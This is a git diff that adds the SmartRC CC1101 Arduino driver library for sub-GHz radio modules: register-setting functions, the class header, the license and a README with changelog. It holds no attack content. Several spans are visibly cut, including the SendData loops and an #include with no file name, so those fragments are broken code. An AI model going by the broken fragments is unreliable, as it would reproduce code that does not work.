+Split_MDMCFG1(); +byte MDMCFG0 = 0; +m1CHSP = 0; +if (f > 405.456543){f = 405.456543;} +if (f < 25.390625){f = 25.390625;} +for (int i = 0; i<5; i++){ +if (f <= 50.682068){ +f -= 25.390625; +f /= 0.0991825; +MDMCFG0 = f; +float s1 = (f - MDMCFG0) *10; +if (s1 >= 5){MDMCFG0++;} +i = 5; +}else{ +m1CHSP++; +f/=2; +} +} +SpiWriteReg(19,m1CHSP+m1FEC+m1PRE); +SpiWriteReg(20,MDMCFG0); +} +/**************************************************************** +*FUNCTION NAME:Set Receive bandwidth +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setRxBW(float f){ +Split_MDMCFG4(); +int s1 = 3; +int s2 = 3; +for (int i = 0; i<3; i++){ +if (f > 101.5625){f/=2; s1--;} +else{i=3;} +} +for (int i = 0; i<3; i++){ +if (f > 58.1){f/=1.25; s2--;} +else{i=3;} +} +s1 *= 64; +s2 *= 16; +m4RxBw = s1 + s2; +SpiWriteReg(16,m4RxBw+m4DaRa); +} +/**************************************************************** +*FUNCTION NAME:Set Data Rate +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setDRate(float d){ +Split_MDMCFG4(); +float c = d; +byte MDMCFG3 = 0; +if (c > 1621.83){c = 1621.83;} +if (c < 0.0247955){c = 0.0247955;} +m4DaRa = 0; +for (int i = 0; i<20; i++){ +if (c <= 0.0494942){ +c = c - 0.0247955; +c = c / 0.00009685; +MDMCFG3 = c; +float s1 = (c - MDMCFG3) *10; +if (s1 >= 5){MDMCFG3++;} +i = 20; +}else{ +m4DaRa++; +c = c/2; +} +} +SpiWriteReg(16, m4RxBw+m4DaRa); +SpiWriteReg(17, MDMCFG3); +} +/**************************************************************** +*FUNCTION NAME:Set Devitation +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setDeviation(float d){ +float f = 1.586914; +float v = 0.19836425; +int c = 0; +if (d > 380.859375){d = 380.859375;} +if (d < 1.586914){d = 1.586914;} +for (int i = 0; i<255; i++){ +f+=v; +if (c==7){v*=2;c=-1;i+=8;} +if (f>=d){c=i;i=255;} +c++; +} +SpiWriteReg(21,c); +} +/**************************************************************** +*FUNCTION NAME:Split PKTCTRL0 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_PKTCTRL1(void){ +int calc = SpiReadStatus(7); +pc1PQT = 0; +pc1CRC_AF = 0; +pc1APP_ST = 0; +pc1ADRCHK = 0; +for (bool i = 0; i==0;){ +if (calc >= 32){calc-=32; pc1PQT+=32;} +else if (calc >= 8){calc-=8; pc1CRC_AF+=8;} +else if (calc >= 4){calc-=4; pc1APP_ST+=4;} +else {pc1ADRCHK = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split PKTCTRL0 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_PKTCTRL0(void){ +int calc = SpiReadStatus(8); +pc0WDATA = 0; +pc0PktForm = 0; +pc0CRC_EN = 0; +pc0LenConf = 0; +for (bool i = 0; i==0;){ +if (calc >= 64){calc-=64; pc0WDATA+=64;} +else if (calc >= 16){calc-=16; pc0PktForm+=16;} +else if (calc >= 4){calc-=4; pc0CRC_EN+=4;} +else {pc0LenConf = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG1 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_MDMCFG1(void){ +int calc = SpiReadStatus(19); +m1FEC = 0; +m1PRE = 0; +m1CHSP = 0; +int s2 = 0; +for (bool i = 0; i==0;){ +if (calc >= 128){calc-=128; m1FEC+=128;} +else if (calc >= 16){calc-=16; m1PRE+=16;} +else {m1CHSP = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG2 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_MDMCFG2(void){ +int calc = SpiReadStatus(18); +m2DCOFF = 0; +m2MODFM = 0; +m2MANCH = 0; +m2SYNCM = 0; +for (bool i = 0; i==0;){ +if (calc >= 128){calc-=128; m2DCOFF+=128;} +else if (calc >= 16){calc-=16; m2MODFM+=16;} +else if (calc >= 8){calc-=8; m2MANCH+=8;} +else{m2SYNCM = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG4 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_MDMCFG4(void){ +int calc = SpiReadStatus(16); +m4RxBw = 0; +m4DaRa = 0; +for (bool i = 0; i==0;){ +if (calc >= 64){calc-=64; m4RxBw+=64;} +else if (calc >= 16){calc -= 16; m4RxBw+=16;} +else{m4DaRa = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:RegConfigSettings +*FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100// +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::RegConfigSettings(void) +{ + SpiWriteReg(CC1101_FSCTRL1, 0x06); + + setCCMode(ccmode); + setMHZ(MHz); + + SpiWriteReg(CC1101_MDMCFG1, 0x02); + SpiWriteReg(CC1101_MDMCFG0, 0xF8); + SpiWriteReg(CC1101_CHANNR, chan); + SpiWriteReg(CC1101_DEVIATN, 0x47); + SpiWriteReg(CC1101_FREND1, 0x56); + SpiWriteReg(CC1101_MCSM0 , 0x18); + SpiWriteReg(CC1101_FOCCFG, 0x16); + SpiWriteReg(CC1101_BSCFG, 0x1C); + SpiWriteReg(CC1101_AGCCTRL2, 0xC7); + SpiWriteReg(CC1101_AGCCTRL1, 0x00); + SpiWriteReg(CC1101_AGCCTRL0, 0xB2); + SpiWriteReg(CC1101_FSCAL3, 0xE9); + SpiWriteReg(CC1101_FSCAL2, 0x2A); + SpiWriteReg(CC1101_FSCAL1, 0x00); + SpiWriteReg(CC1101_FSCAL0, 0x1F); + SpiWriteReg(CC1101_FSTEST, 0x59); + SpiWriteReg(CC1101_TEST2, 0x81); + SpiWriteReg(CC1101_TEST1, 0x35); + SpiWriteReg(CC1101_TEST0, 0x09); + SpiWriteReg(CC1101_PKTCTRL1, 0x04); + SpiWriteReg(CC1101_ADDR, 0x00); + SpiWriteReg(CC1101_PKTLEN, 0x00); +} +/**************************************************************** +*FUNCTION NAME:SetTx +*FUNCTION :set CC1101 send data +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetTx(void) +{ + SpiStrobe(CC1101_SIDLE); + SpiStrobe(CC1101_STX); //start send + trxstate=1; +} +/**************************************************************** +*FUNCTION NAME:SetRx +*FUNCTION :set CC1101 to receive state +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetRx(void) +{ + SpiStrobe(CC1101_SIDLE); + SpiStrobe(CC1101_SRX); //start receive + trxstate=2; +} +/**************************************************************** +*FUNCTION NAME:SetTx +*FUNCTION :set CC1101 send data and change frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetTx(float mhz) +{ + SpiStrobe(CC1101_SIDLE); + setMHZ(mhz); + SpiStrobe(CC1101_STX); //start send + trxstate=1; +} +/**************************************************************** +*FUNCTION NAME:SetRx +*FUNCTION :set CC1101 to receive state and change frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetRx(float mhz) +{ + SpiStrobe(CC1101_SIDLE); + setMHZ(mhz); + SpiStrobe(CC1101_SRX); //start receive + trxstate=2; +} +/**************************************************************** +*FUNCTION NAME:RSSI Level +*FUNCTION :Calculating the RSSI Level +*INPUT :none +*OUTPUT :none +****************************************************************/ +int ELECHOUSE_CC1101::getRssi(void) +{ +int rssi; +rssi=SpiReadStatus(CC1101_RSSI); +if (rssi >= 128){rssi = (rssi-256)/2-74;} +else{rssi = (rssi/2)-74;} +return rssi; +} +/**************************************************************** +*FUNCTION NAME:LQI Level +*FUNCTION :get Lqi state +*INPUT :none +*OUTPUT :none +****************************************************************/ +byte ELECHOUSE_CC1101::getLqi(void) +{ +byte lqi; +lqi=SpiReadStatus(CC1101_LQI); +return lqi; +} +/**************************************************************** +*FUNCTION NAME:SetSres +*FUNCTION :Reset CC1101 +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSres(void) +{ + SpiStrobe(CC1101_SRES); + trxstate=0; +} +/**************************************************************** +*FUNCTION NAME:setSidle +*FUNCTION :set Rx / TX Off +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSidle(void) +{ + SpiStrobe(CC1101_SIDLE); + trxstate=0; +} +/**************************************************************** +*FUNCTION NAME:goSleep +*FUNCTION :set cc1101 Sleep on +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::goSleep(void){ + trxstate=0; + SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit + SpiStrobe(0x39);//Enter power down mode when CSn goes high. +} +/**************************************************************** +*FUNCTION NAME:Char direct SendData +*FUNCTION :use CC1101 send data +*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SendData(char *txchar) +{ +int len = strlen(txchar); +byte chartobyte[len]; +for (int i = 0; i sync transmitted + while (digitalRead(GDO0)); // Wait for GDO0 to be cleared -> end of packet + SpiStrobe(CC1101_SFTX); //flush TXfifo + trxstate=1; +} +/**************************************************************** +*FUNCTION NAME:Char direct SendData +*FUNCTION :use CC1101 send data without GDO +*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SendData(char *txchar,int t) +{ +int len = strlen(txchar); +byte chartobyte[len]; +for (int i = 0; i + Version: November 12, 2010 + + This library is designed to use CC1101/CC1100 module on Arduino platform. + CC1101/CC1100 module is an useful wireless module.Using the functions of the + library, you can easily send and receive data by the CC1101/CC1100 module. + Just have fun! + For the details, please refer to the datasheet of CC1100/CC1101. +---------------------------------------------------------------------------------------------------------------- +cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). +---------------------------------------------------------------------------------------------------------------- +*/ +#ifndef ELECHOUSE_CC1101_SRC_DRV_h +#define ELECHOUSE_CC1101_SRC_DRV_h + +#include + +//***************************************CC1101 define**************************************************// +// CC1101 CONFIG REGSITER +#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration +#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration +#define CC1101_IOCFG0 0x02 // GDO0 output pin configuration +#define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds +#define CC1101_SYNC1 0x04 // Sync word, high INT8U +#define CC1101_SYNC0 0x05 // Sync word, low INT8U +#define CC1101_PKTLEN 0x06 // Packet length +#define CC1101_PKTCTRL1 0x07 // Packet automation control +#define CC1101_PKTCTRL0 0x08 // Packet automation control +#define CC1101_ADDR 0x09 // Device address +#define CC1101_CHANNR 0x0A // Channel number +#define CC1101_FSCTRL1 0x0B // Frequency synthesizer control +#define CC1101_FSCTRL0 0x0C // Frequency synthesizer control +#define CC1101_FREQ2 0x0D // Frequency control word, high INT8U +#define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U +#define CC1101_FREQ0 0x0F // Frequency control word, low INT8U +#define CC1101_MDMCFG4 0x10 // Modem configuration +#define CC1101_MDMCFG3 0x11 // Modem configuration +#define CC1101_MDMCFG2 0x12 // Modem configuration +#define CC1101_MDMCFG1 0x13 // Modem configuration +#define CC1101_MDMCFG0 0x14 // Modem configuration +#define CC1101_DEVIATN 0x15 // Modem deviation setting +#define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration +#define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration +#define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration +#define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration +#define CC1101_BSCFG 0x1A // Bit Synchronization configuration +#define CC1101_AGCCTRL2 0x1B // AGC control +#define CC1101_AGCCTRL1 0x1C // AGC control +#define CC1101_AGCCTRL0 0x1D // AGC control +#define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout +#define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout +#define CC1101_WORCTRL 0x20 // Wake On Radio control +#define CC1101_FREND1 0x21 // Front end RX configuration +#define CC1101_FREND0 0x22 // Front end TX configuration +#define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration +#define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration +#define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration +#define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration +#define CC1101_RCCTRL1 0x27 // RC oscillator configuration +#define CC1101_RCCTRL0 0x28 // RC oscillator configuration +#define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control +#define CC1101_PTEST 0x2A // Production test +#define CC1101_AGCTEST 0x2B // AGC test +#define CC1101_TEST2 0x2C // Various test settings +#define CC1101_TEST1 0x2D // Various test settings +#define CC1101_TEST0 0x2E // Various test settings + +//CC1101 Strobe commands +#define CC1101_SRES 0x30 // Reset chip. +#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). + // If in RX/TX: Go to a wait state where only the synthesizer is + // running (for quick RX / TX turnaround). +#define CC1101_SXOFF 0x32 // Turn off crystal oscillator. +#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off + // (enables quick start). +#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and + // MCSM0.FS_AUTOCAL=1. +#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if + // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled: + // Only go to TX if channel is clear. +#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit + // Wake-On-Radio mode if applicable. +#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer +#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) +#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high. +#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. +#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. +#define CC1101_SWORRST 0x3C // Reset real time clock. +#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two + // INT8Us for simpler software. +//CC1101 STATUS REGSITER +#define CC1101_PARTNUM 0x30 +#define CC1101_VERSION 0x31 +#define CC1101_FREQEST 0x32 +#define CC1101_LQI 0x33 +#define CC1101_RSSI 0x34 +#define CC1101_MARCSTATE 0x35 +#define CC1101_WORTIME1 0x36 +#define CC1101_WORTIME0 0x37 +#define CC1101_PKTSTATUS 0x38 +#define CC1101_VCO_VC_DAC 0x39 +#define CC1101_TXBYTES 0x3A +#define CC1101_RXBYTES 0x3B + +//CC1101 PATABLE,TXFIFO,RXFIFO +#define CC1101_PATABLE 0x3E +#define CC1101_TXFIFO 0x3F +#define CC1101_RXFIFO 0x3F + +//************************************* class **************************************************// +class ELECHOUSE_CC1101 +{ +private: + void SpiStart(void); + void SpiEnd(void); + void GDO_Set (void); + void GDO0_Set (void); + void Reset (void); + void setSpi(void); + void RegConfigSettings(void); + void Calibrate(void); + void Split_PKTCTRL0(void); + void Split_PKTCTRL1(void); + void Split_MDMCFG1(void); + void Split_MDMCFG2(void); + void Split_MDMCFG4(void); +public: + void Init(void); + byte SpiReadStatus(byte addr); + void setSpiPin(byte sck, byte miso, byte mosi, byte ss); + void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul); + void setGDO(byte gdo0, byte gdo2); + void setGDO0(byte gdo0); + void addGDO(byte gdo0, byte gdo2, byte modul); + void addGDO0(byte gdo0, byte modul); + void setModul(byte modul); + void setCCMode(bool s); + void setModulation(byte m); + void setPA(int p); + void setMHZ(float mhz); + void setChannel(byte chnl); + void setChsp(float f); + void setRxBW(float f); + void setDRate(float d); + void setDeviation(float d); + void SetTx(void); + void SetRx(void); + void SetTx(float mhz); + void SetRx(float mhz); + int getRssi(void); + byte getLqi(void); + void setSres(void); + void setSidle(void); + void goSleep(void); + void SendData(byte *txBuffer, byte size); + void SendData(char *txchar); + void SendData(byte *txBuffer, byte size, int t); + void SendData(char *txchar, int t); + byte CheckReceiveFlag(void); + byte ReceiveData(byte *rxBuffer); + bool CheckCRC(void); + void SpiStrobe(byte strobe); + void SpiWriteReg(byte addr, byte value); + void SpiWriteBurstReg(byte addr, byte *buffer, byte num); + byte SpiReadReg(byte addr); + void SpiReadBurstReg(byte addr, byte *buffer, byte num); + void setClb(byte b, byte s, byte e); + bool getCC1101(void); + byte getMode(void); + void setSyncWord(byte sh, byte sl); + void setAddr(byte v); + void setWhiteData(bool v); + void setPktFormat(byte v); + void setCrc(bool v); + void setLengthConfig(byte v); + void setPacketLength(byte v); + void setDcFilterOff(bool v); + void setManchester(bool v); + void setSyncMode(byte v); + void setFEC(bool v); + void setPRE(byte v); + void setPQT(byte v); + void setCRC_AF(bool v); + void setAppendStatus(bool v); + void setAdrChk(byte v); + bool CheckRxFifo(int t); +}; + +extern ELECHOUSE_CC1101 ELECHOUSE_cc1101; + +#endif diff --git a/lib/SmartRC-CC1101-Driver-Lib/LICENSE.txt b/lib/SmartRC-CC1101-Driver-Lib/LICENSE.txt new file mode 100644 index 0000000..8b4631b --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/LICENSE.txt @@ -0,0 +1,22 @@ +---------------------------------------------------------------------------------------------------------------- +cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). +---------------------------------------------------------------------------------------------------------------- + + + ELECHOUSE_CC1101.cpp - CC1101 module library + Copyright (c) 2010 Michael. + Author: Michael, + Version: November 12, 2010 + + This library is designed to use CC1101/CC1100 module on Arduino platform. + CC1101/CC1100 module is an useful wireless module.Using the functions of the + library, you can easily send and receive data by the CC1101/CC1100 module. + Just have fun! + For the details, please refer to the datasheet of CC1100/CC1101. + +notes: The whole stuff that is not directly related to Rc_Switch, + NewRemoteSwitch or Elechouse_cc1101 Lib is Copyright (c) 2018 - 2020 by Little Satan. + Example calculator codes in the driver lib. + And so on... + You can freely use, edit or distribute it with reference to the source. + For everything else, the rights of the respective owners apply! \ No newline at end of file diff --git a/lib/SmartRC-CC1101-Driver-Lib/README.md b/lib/SmartRC-CC1101-Driver-Lib/README.md new file mode 100644 index 0000000..0e90dff --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/README.md @@ -0,0 +1,641 @@ +# SmartRC-CC1101-Driver-Lib_V2.5.7 + +![GitHub (Pre-)Release Date](https://img.shields.io/github/release-date-pre/LSatan/SmartRC-CC1101-Driver-Lib) + +Note: Find out about the laws in your country. +Use at your own risk. + +Attention! in version 2.5.7 there are changes for the internal transfer functions regarding the gdo pin assignment! + +--------------------------------------------- +Announcements / other +--------------------------------------------- + +attention: currently i can only answer questions very belatedly. +try to scour existing problems for a solution if possible. +Problems that have not yet been closed are mostly already solved! +thanks for your understanding + +For debug and advanced functions: https://github.com/LSatan/CC1101-Debug-Service-Tool + +new library Simu_Remote: https://github.com/LSatan/Simu_Remote_CC1101 + +--------------------------------------------- +Install: +--------------------------------------------- + +Can be downloaded directly from the Arduino library manager. Just search for cc1101. + +--------------------------------------------- +Foreword: +--------------------------------------------- +First of all, thanks to Elechouse that I can make the modified library accessible to everyone. + +Link: http://www.elechouse.com/elechouse/ + + + +The library has been redesigned and some improvements have been made. + +Among other things, you can now also use the internal send / receive function. + +I would be happy to receive your suggestions for further examples from other libraries. + +All examples included are listed in the next field. + +--------------------------------------------- +Containing examples: +--------------------------------------------- +1.Elechouse CC1101: +- +Description: CC1101 Internal send / receive examples. Supported modulations 2-FSK, GFSK, ASK/OOK, 4-FSK, MSK. + +2.Rc-Switch: +- +

Description: Arduino lib to operate 433/315Mhz devices like power outlet sockets.

+

Link: https://github.com/sui77/rc-switch

+ +3.NewRemoteswitch: +- +

Description: This library provides an easy class for Arduino, to send and receive signals used by some common "new style" 433MHz remote control switches.

+

Link: https://github.com/1technophile/NewRemoteSwitch

+ +4.RemoteSensor library: +- +

Description: This library provides an easy class for Arduino, to send and receive signals used by some common weather stations using -remote 433MHz sensors.

+

Link: https://github.com/mattwire/arduino-dev/tree/master/libraries/RemoteSensor

+ +5.ESPiLight: +- +

Description:This Arduino library is a port of the pilight 433.92MHz protocols to the Arduino platform. It was tested with a ESP8266. The aim is to transmit, receive and parse many 433.92MHz protocols, by providing a simple Arduino friendly API. This should help to implement IoT bridges between the 434MHz-RF band and internet protocols.

+

Link:https://github.com/puuu/ESPiLight

+ +--------------------------------------------- +Instructions / Description: +--------------------------------------------- +This driver library can be used for many libraries that use a simple RF ASK module, +with the advantages of the cc1101 module.It offers many direct setting options as in +SmartRF Studio and calculates settings such as MHz directly. + +The most important functions at a glance: + +ELECHOUSE_cc1101.Init(); //Initialize the cc1101. Must be set first! + +ELECHOUSE_cc1101.setPA(PA); //Set transmission power. + +ELECHOUSE_cc1101.setMHZ(MHZ); //Set the basic frequency. + +ELECHOUSE_cc1101.SetTx(); //Set transmit on. + +ELECHOUSE_cc1101.SetTx(MHZ); //Sets transmit on and changes the frequency. + +ELECHOUSE_cc1101.SetRX(); //Set receive on. + +ELECHOUSE_cc1101.SetRx(MHZ); //Sets receive on and changes the frequency. + +ELECHOUSE_cc1101.setRxBW(RXBW); //Set Receive filter bandwidth + +ELECHOUSE_cc1101.setGDO(GDO0, GDO2); //Set Gdo0 (tx) and Gdo2 (rx) for serial transmission function. + + +ELECHOUSE_cc1101.setSpiPin(SCK, MISO, MOSI, CSN); //custom SPI pins. Set your own Spi Pins.Or to switch between multiple cc1101. Must be set before init and before changing the cc1101. + +ELECHOUSE_cc1101.setChannel(chnl); //Set Channel from 0 to 255. default = 0(basic frequency). + +ELECHOUSE_cc1101.setClb(fband, cal1, cal2); //Optionally enter Offset Callibration. Requirements: Sketch Calibrate_frequency.ino below [CC1101-Debug-Service-Tool](https://github.com/LSatan/CC1101-Debug-Service-Tool/tree/master/Calibrate_frequency).A SDR receiver and SDR software. + +New in V2.5.7 + +ELECHOUSE_cc1101.setGDO0(GDO0); //Sets Gdo0 for internal transfer function. + +ELECHOUSE_cc1101.addGDO0(GDO0, Modul); //Adds Gdo0 for internal transfer function (multiple cc1101). + +ELECHOUSE_cc1101.addGDO(GDO0, GDO2, Modul); //Adds Gdo0 (tx) and Gdo2 (rx) for serial transmission function (multiple cc1101). + +ELECHOUSE_cc1101.addSpiPin(SCK, MISO, MOSI, CSN, Modul); //Adds Spi Pins for multiple cc1101. + +ELECHOUSE_cc1101.setModul(Modul); //Switches between modules. from 0 to 5. So a maximum of 6. + + +The new features are not final and can be changed at any time. + +All can also be used in a loop and are applied directly. + +--------------------------------------------- +Wiring: +--------------------------------------------- + +Notes: A logic level converter is recommended for arduino. It also works well without. Use at your own risk. + + + + + + + + + + + + + +--------------------------------------------- +Donation +--------------------------------------------- + +If you like the library, I would be happy about a star. + +you can support me with a donation. + +https://www.paypal.me/LittleSatan666 + +Thank You! + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.5.7 +--------------------------------------------- +13.07.2021 + +Driver Library :Fixed a bug when initalizing multiple cc1101 + +Driver Library :new commandos for easy handling of multiple cc1101 + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.5.6 +--------------------------------------------- +06.04.2021 + +Driver Library :Add NUM_PREAMBLE. Sets the minimum number of preamble bytes to be transmitted. + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.5.5 +--------------------------------------------- +23.01.2021 + +Driver Library :Error correction for CheckRxFifo and CheckReceiveFlag (reception internal CC1101 function). + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.5.4 +--------------------------------------------- +23.01.2021 + +Driver Library :No big frequency jumps over SetRx(freq); Possible. Fixed! Big thanks to NorthernMan54 for testing! + +Driver Library :double-initaliesing option from V2.5.3 has been removed. Necessary for SetRx(freq); to use. + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.5.3 +--------------------------------------------- +22.01.2021 + +Driver Library :Putting rx tx has no effect if they are already in mode. Prevents unnecessary double-initaliesing. + +Driver Library :new command added: ELECHOUSE_cc1101.goSleep(); //Enter power down mode. For wakeup set RX or TX. + +Driver Library :new command added: ELECHOUSE_cc1101.getMode(); //Return the Mode. Sidle = 0, TX = 1, Rx = 2. + +Driver Library :new command added: ELECHOUSE_cc1101.setSidle(); //Set Rx / Tx Off. + +Driver Library :new command added: ELECHOUSE_cc1101.getCC1101(); //Test Spi connection and return 1 when true. + +Examples :RcSwitch Repeater_cc1101.ino has been shortened. + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.5.2 +--------------------------------------------- +01.10.2020 + +Driver Library :SpiWriteReg, SpiReadReg, SpiWriteBurstReg and SpiReadBurstReg change to public. Allows additional modifications from sketch. + +Driver Library :Setrx no longer has to be set to receive.(internal transmission methods) + +Driver Library :Gdo pins are now set to input / output with set gdo instead of Init. + +Driver Library :Added new sending method. Allows sending without a gdo0 pin. + +notes :The new internal send and receive methods now work completely without an additional gdo pin. + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.5.1 +--------------------------------------------- +18.08.2020 + +Driver Library :When changing from receiving to sending, the program freezes (internal send functions). fixed! + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.5.0 +--------------------------------------------- +16.08.2020 + +Driver Library :Rssi was calculated incorrectly.Fixed Thanks to zapquiyou! + +Driver Library :New receiving method for internal examples added. Allows several actions to be carried out in the loop. + +Driver Library :Internal Crc check added for internal examples. + +Driver Library :Simplification to send char added for internal transfer examples. + +Driver Library :A lot of new settings added for internal transmission examples. Everything can be set as in SmartRF Studio and is calculated automatically. An overview: setDeviation, setChsp, setRxBW, setDRate, setSyncMode, setSyncWord, setAdrChk, setAddr, setWhiteData, setPktFormat, setLengthConfig, setPacketLength, setCrc, setCRC_AF, setDcFilterOff, setManchester, setFEC, setPQT, setAppendStatus. description in the examples! + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.4.0 +--------------------------------------------- +07.05.2020 + +Driver Library :frequency calculator has been simplified. error-free calculations and less variables. + +Driver Library :Added frequency calibration option. + +Driver Library :Certain frequencies could not be set. Fixed! Big thanks to gusgorman402! + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.3.5 +--------------------------------------------- +14.04.2020 + +Driver Library :setChsp has been removed to save space. This function is available in the Service / Debug Tool as an extended function. + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.3.4 +--------------------------------------------- +01.04.2020 + +Driver Library :set AGCCTRL2 from 0x07 to 0xC7. Reception is significantly improved! + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.3.3 +--------------------------------------------- +01.04.2020 + +Driver Library :set FSCTRL1 from 0x08 to 0x06. for better receive. + +Driver Library :set SpiWriteReg to public. Make it fit for debug tool! + +Driver Library :set SpiStrobe to public. Make it fit for debug tool! + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.3.2 +--------------------------------------------- +24.03.2020 + +Driver Library :Set gdo2 from input to output. Errors in libraries that use the pins directly. + +examples :Set gdo2 from setting 2 to 0 in default examples. Gdo2 is not required for these examples. + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.3.1 +--------------------------------------------- +18.03.2020 + +Driver Library :ESP8266/32 core panik. Fixed! The cc1101 must be initialized before setting options! + +examples :all examples have been adapted. + +examples :internal cc1101 examples have been adapted for esp8266/32. + +examples :ESPiLight examples added. + +--------------------------------------------- +Changelog: SmartRC-CC1101-Driver-Lib_V2.3 +--------------------------------------------- +18.03.2020 + +Driver Library :"RcSwitch-cc1101-driver-lib" becomes "SmartRC-cc1101-driver-lib". + +Pull request :#20 Removed unnecessary initializations when setting Tx or Rx mode. Agreed / accepted improves speed when changing rx / tx. Special thanks to fleibede. + +Pull request :#19 Added spi state after SPI pins have been set for default pins. The problem was solved differently. Special thanks to fleibede. + +Pull request :#18 Updated AVR types conditional defines. Agreed / accepted. Special thanks to fleibede. + +Driver Library :Frequency calculator certain frequencies were calculated incorrectly. fixed! + +Driver Library :Intelligent Pa Table system added. When changing the band The corresponding table is set via setTx / Rx and the frequency set to basic calibrated. All module internal transmission powers can now be set according to the band. + +Driver Library :Newly calibrated base frequency on chan 0 according to the SmartRF Studio. + +Driver Library :Channel spacing calculator can enter directly the spacing area in khz. + +Driver Library :Modulation setting added for internal transmission methods + +Driver Library :ESP32 reception improvements. + +Driver Library :Direct conversion of the RSSI level in the library. + +Driver Library :Correction of version numbering. + +examples :New examples added "RemoteSensor library". + +examples :New examples added "Elechouse CC1101 default examples" + +examples :Remote Fusion has been removed and given an extra library. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V2.2.1 +--------------------------------------------- +[Download Release V2.2.1](https://drive.google.com/file/d/1YHFpp2GQC96-GKcg67Tym9wt1E4CBdFc/view?usp=sharing) + +20.01.2019 + +Driver Library :Spi options have been removed. (Problems with ESP32) FIXED! + +notes :everything was checked again. D-SUN module on esp8266 / 32 and so on. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V2.2 +--------------------------------------------- +17.01.2019 + +Version notes :Spi was reconfigured for fix some 